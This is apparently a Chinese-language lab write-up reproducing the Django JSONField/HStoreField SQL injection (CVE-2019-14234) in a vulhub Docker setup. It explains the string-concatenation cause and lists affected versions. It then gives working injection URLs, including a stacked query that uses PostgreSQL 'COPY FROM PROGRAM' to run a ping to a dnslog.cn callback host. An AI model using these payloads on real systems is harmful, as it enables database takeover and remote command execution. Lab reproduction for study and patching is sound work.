1.環境
環境
直接使用vulhub的docker環境搭建
vulhub/django/CVE-2019-14234/
2.原理
該漏洞需要開發者使用了JSONField/HStoreField,且用戶可控queryset查詢時的鍵名,在鍵名的位置注入SQL語句。
Django通常搭配postgresql數據庫,而JSONField是該數據庫的一種數據類型。該漏洞的出現的原因在於Django中JSONField類的實現,Django的model最本質的作用是生成SQL語句,而在Django通過JSONField生成sql語句時,是通過簡單的字符串拼接。
通過JSONField類獲得KeyTransform類並生成sql語句的位置。
其中key_name是可控的字符串,最終生成的語句是WHERE (field->’[key_name]’) =
‘value’,因此可以進行SQL注入。
3.影響版本
Django
1.11.x before 1.11.23
2.1.x before 2.1.11
2.2.x before 2.2.4
4.利用過程
訪問http://ip:8000/admin/login/?next=/admin/
輸入用戶名admin ,密碼a123123123
進入漏洞界面
然後訪問
http://ip:8000/admin/vuln/collection/
手工測試看看
http://10.77.0.130:8000/admin/vuln/collection/?detail__a'b=123
報錯出來 截斷了
命令執行語句
http://10.77.0.130:8000/admin/vuln/collection/?detail__title')='1' or 1=1 ;create table cmd_exec(cmd_output text)--
這裏應該是執行了,試一下DNSLog
http://10.77.0.130:8000/admin/vuln/collection/?detail__title')='1' or 1=1 ;copy cmd_exec FROM PROGRAM 'ping v62ce2.dnslog.cn'--
ok成功了